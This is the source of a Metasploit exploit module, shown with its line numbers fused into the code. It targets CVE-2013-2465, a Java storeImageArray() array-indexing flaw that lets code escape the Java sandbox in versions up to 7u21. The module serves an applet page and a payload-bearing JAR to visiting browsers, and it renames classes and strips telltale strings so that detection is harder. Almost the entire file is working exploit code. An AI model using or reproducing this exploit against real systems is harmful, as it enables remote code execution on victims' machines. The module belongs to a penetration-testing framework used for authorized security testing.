Path: blob/master/modules/exploits/multi/browser/java_storeimagearray.rb
31240 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking # Because there isn't click2play bypass, plus now Java Security Level High by default78include Msf::Exploit::Remote::HttpServer::HTML910# include Msf::Exploit::Remote::BrowserAutopwn11# autopwn_info({ :javascript => false })1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Java storeImageArray() Invalid Array Indexing Vulnerability',18'Description' => %q{19This module abuses an Invalid Array Indexing Vulnerability on the20static function storeImageArray() function in order to cause a21memory corruption and escape the Java Sandbox. The vulnerability22affects Java version 7u21 and earlier. The module, which doesn't bypass23click2play, has been tested successfully on Java 7u21 on Windows and24Linux systems.25},26'License' => MSF_LICENSE,27'Author' => [28'Unknown', # From PacketStorm29'sinn3r', # Metasploit30'juan vazquez' # Metasploit31],32'References' => [33[ 'CVE', '2013-2465' ],34[ 'OSVDB', '96269' ],35[ 'EDB', '27526' ],36[ 'PACKETSTORM', '122777' ],37[ 'URL', 'http://hg.openjdk.java.net/jdk7u/jdk7u-dev/jdk/rev/2a9c79db0040' ]38],39'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },40'Targets' => [41[42'Generic (Java Payload)',43{44'Arch' => ARCH_JAVA,45'Platform' => 'java'46}47],48[49'Windows Universal',50{51'Arch' => ARCH_X86,52'Platform' => 'win'53}54],55[56'Linux x86',57{58'Arch' => ARCH_X86,59'Platform' => 'linux'60}61]62],63'DefaultTarget' => 0,64'DisclosureDate' => '2013-08-12',65'Notes' => {66'Reliability' => UNKNOWN_RELIABILITY,67'Stability' => UNKNOWN_STABILITY,68'SideEffects' => UNKNOWN_SIDE_EFFECTS69}70)71)72end7374def setup75path = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2013-2465', 'Exploit.class')76@exploit_class = File.open(path, 'rb') { |fd| fd.read(fd.stat.size) }77path = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2013-2465', 'Exploit$MyColorModel.class')78@color_model_class = File.open(path, 'rb') { |fd| fd.read(fd.stat.size) }79path = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2013-2465', 'Exploit$MyColorSpace.class')80@color_space_class = File.open(path, 'rb') { |fd| fd.read(fd.stat.size) }8182@exploit_class_name = rand_text_alpha('Exploit'.length)83@color_model_class_name = rand_text_alpha('MyColorModel'.length)84@color_space_class_name = rand_text_alpha('MyColorSpace'.length)8586@exploit_class.gsub!('Exploit', @exploit_class_name)87@exploit_class.gsub!('MyColorModel', @color_model_class_name)88@exploit_class.gsub!('MyColorSpace', @color_space_class_name)8990@color_model_class.gsub!('Exploit', @exploit_class_name)91@color_model_class.gsub!('MyColorModel', @color_model_class_name)92@color_model_class.gsub!('MyColorSpace', @color_space_class_name)9394@color_space_class.gsub!('Exploit', @exploit_class_name)95@color_space_class.gsub!('MyColorModel', @color_model_class_name)96@color_space_class.gsub!('MyColorSpace', @color_space_class_name)9798super99end100101def on_request_uri(cli, request)102vprint_status("Requesting: #{request.uri}")103if request.uri !~ /\.jar$/i104if !(request.uri =~ %r{/$})105vprint_status('Sending redirect...')106send_redirect(cli, "#{get_resource}/", '')107return108end109110print_status('Sending HTML...')111send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })112return113end114115print_status('Sending .jar file...')116send_response(cli, generate_jar(cli), { 'Content-Type' => 'application/java-archive' })117118handler(cli)119end120121def generate_html122jar_name = rand_text_alpha(rand(5..7))123html = %(<html>124<head>125</head>126<body>127<applet archive="#{jar_name}.jar" code="#{@exploit_class_name}" width="1000" height="1000">128</applet>129</body>130</html>131)132html = html.gsub(/^ {4}/, '')133return html134end135136def generate_jar(cli)137p = regenerate_payload(cli)138jar = p.encoded_jar139140jar.add_file("#{@exploit_class_name}.class", @exploit_class)141jar.add_file("#{@exploit_class_name}$#{@color_model_class_name}.class", @color_model_class)142jar.add_file("#{@exploit_class_name}$#{@color_space_class_name}.class", @color_space_class)143metasploit_str = rand_text_alpha('metasploit'.length)144payload_str = rand_text_alpha('payload'.length)145jar.entries.each do |entry|146entry.name.gsub!('metasploit', metasploit_str)147entry.name.gsub!('Payload', payload_str)148entry.data = entry.data.gsub('metasploit', metasploit_str)149entry.data = entry.data.gsub('Payload', payload_str)150end151jar.build_manifest152153return jar.pack154end155end156157158